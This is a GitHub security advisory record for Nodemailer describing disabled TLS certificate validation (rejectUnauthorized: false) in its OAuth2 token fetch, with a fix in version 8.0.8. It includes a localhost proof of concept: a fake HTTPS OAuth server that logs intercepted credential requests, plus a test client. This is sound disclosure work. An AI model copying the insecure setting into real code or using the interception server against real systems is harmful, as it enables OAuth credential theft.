{"id":"GHSA-r7g4-qg5f-qqm2","title":"Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception","summary":"Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception","severity":"medium","cvss":6.5,"cwe":["CWE-295"],"vendor":"nodemailer","product":"nodemailer","ecosystem":"npm","affected":["nodemailer <= 8.0.7"],"patched":["nodemailer 8.0.8"],"published":"2026-06-15","updated":"2026-06-15","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-r7g4-qg5f-qqm2","references":[{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-r7g4-qg5f-qqm2"},{"url":"https://github.com/advisories/GHSA-r7g4-qg5f-qqm2"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-07T15:41:58.726Z","slug":"GHSA-r7g4-qg5f-qqm2","body":"## Overview\n\n### Summary\nNodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.\n\nAs a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.\n\nAn attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:\n\n- OAuth client_secret\n- refresh_token\n- access tokens\n\nThe issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.\n\n### Details\nRoot Cause\n\nThe issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.\n\nInside:\n\n`lib/fetch/index.js`\n\nthe request options contain:\n\n`rejectUnauthorized: false`\n\nThis disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.\n\nAs a result:\n\n- self-signed certificates are trusted\n- invalid CA chains are accepted\n- hostname validation is bypassed\n- attacker-controlled HTTPS endpoints are treated as trusted\n\nThis violates expected HTTPS security guarantees.\n\n**Vulnerable Flow**\n\nThe vulnerable execution chain is:\n\nOAuth2 Transport\n ↓\nXOAuth2 token generation\n ↓\nInternal HTTPS fetch client\n ↓\nHTTPS request with rejectUnauthorized:false\n ↓\nAttacker-controlled/self-signed endpoint trusted\n ↓\nOAuth credentials **transmitted**\n\n\n### PoC\n**Environment**\n#### Mail API (app/server.js)\n```\nconst express = require(\"express\");\nconst nodemailer = require(\"nodemailer\");\nrequire(\"dotenv\").config();\n\nconst app = express();\n\napp.use(express.json());\n\nconst transporter = nodemailer.createTransport({\n host: process.env.SMTP_HOST,\n port: process.env.SMTP_PORT,\n secure: false,\n auth: {\n user: process.env.SMTP_USER,\n pass: process.env.SMTP_PASS\n }\n});\n\napp.post(\"/send\", async (req, res) => {\n try {\n const { to, subject, text, html } = req.body;\n\n const info = await transporter.sendMail({\n from: `\"Mailer\" <${process.env.SMTP_USER}>`,\n to,\n subject,\n text,\n html\n });\n\n res.json({\n success: true,\n messageId: info.messageId\n });\n\n } catch (err) {\n console.error(err);\n res.status(500).json({\n success: false,\n error: err.message\n });\n }\n});\n\napp.listen(process.env.PORT, () => {\n console.log(`Mailer running on port ${process.env.PORT}`);\n});\n```\n\n#### Malicious HTTPS OAuth Server (poc/evil-oauth.js)\n\n```\nconst https = require('https');\nconst fs = require('fs');\n\nhttps.createServer({\n key: fs.readFileSync('./key.pem'),\n cert: fs.readFileSync('./cert.pem')\n}, (req, res) => {\n\n console.log('\\n==== REQUEST INTERCEPTED ====');\n console.log(req.method, req.url);\n\n let body = '';\n\n req.on('data', chunk => {\n body += chunk;\n });\n\n req.on('end', () => {\n\n console.log('\\nPOST BODY:');\n console.log(body);\n\n res.writeHead(200, {\n 'Content-Type': 'application/json'\n });\n\n res.end(JSON.stringify({\n access_token: 'attacker_token',\n expires_in: 3600\n }));\n });\n\n}).listen(8443, () => {\n console.log('Malicious HTTPS OAuth server listening on 8443');\n});\n```\n\n#### Nodemailer OAuth2 Test (test.js)\n\n```\nconst nodemailer = require('./');\n\nconst transporter = nodemailer.createTransport({\n service: 'gmail',\n\n auth: {\n type: 'OAuth2',\n\n user: 'redacted@example.com',\n\n clientId: 'CLIENT_ID_REDACTED',\n clientSecret: 'CLIENT_SECRET_REDACTED',\n\n refreshToken: 'REFRESH_TOKEN_REDACTED',\n\n accessUrl: 'https://localhost:8443/token'\n }\n});\n\ntransporter.sendMail({\n from: 'redacted@example.com',\n to: 'redacted@example.com',\n subject: 'PoC',\n text: 'test'\n\n}, (err, info) => {\n\n console.log('\\n==== NODEMAILER RESULT ====');\n\n if (err) {\n console.error(err);\n } else {\n console.log(info);\n }\n});\n```\n**Steps to Reproduce**\n\n- Start malicious HTTPS OAuth server:\n- node poc/evil-oauth.js\n- Run Nodemailer OAuth2 test:\n- node test.js\n- Observe intercepted OAuth2 request body on the malicious HTTPS server.\n\n**PIC**\n\"image\"\n\n### Impact\n\n- OAuth credential theft\n- unauthorized email access\n- persistent token abuse\n- unauthorized mail sending\n- mailbox compromise\n- interception/tampering of OAuth responses\n\nThe issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.\n\n## Affected packages\n\n- `nodemailer <= 8.0.7`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `nodemailer 8.0.8`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}